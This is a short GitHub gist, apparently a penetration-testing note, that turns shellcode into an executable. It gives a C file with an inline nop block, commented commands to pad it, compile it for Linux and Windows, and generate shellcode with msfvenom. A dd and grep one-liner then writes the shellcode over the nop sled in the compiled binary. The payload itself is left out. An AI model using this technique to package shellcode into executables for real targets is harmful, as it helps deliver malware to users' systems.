Last active
April 8, 2023 20:24
-
-
Save sudoaza/64ec85b50cddd327a91cda0c439c003b to your computer and use it in GitHub Desktop.
Shellcode to binary c
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
int main(int argc, char** argv) { | |
__asm__ ( | |
"nop \n\t" | |
// ); | |
// return 0; | |
// } | |
// python -c 'print(" \"nop \\n\\t\"\n"*2000)' >> hollow.c | |
// echo -e " );\n return 0;\n}" >> hollow.c | |
// gcc hollow.c -o hollow # gcc hollow.c -m32 -o hollow # i686-w64-mingw32-gcc -o hollow.exe hollow.c # x86_64-w64-mingw32-gcc -o hollow.exe hollow.c | |
// msfvenom ... > shellcode.asm | |
// dd if=shellcode.asm of=hollow seek=$(grep -Eab $(echo -e '\x90{100}') hollow | cut -d : -f 1) bs=1 conv=notrunc | |
// ------------------------------------------------------- |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment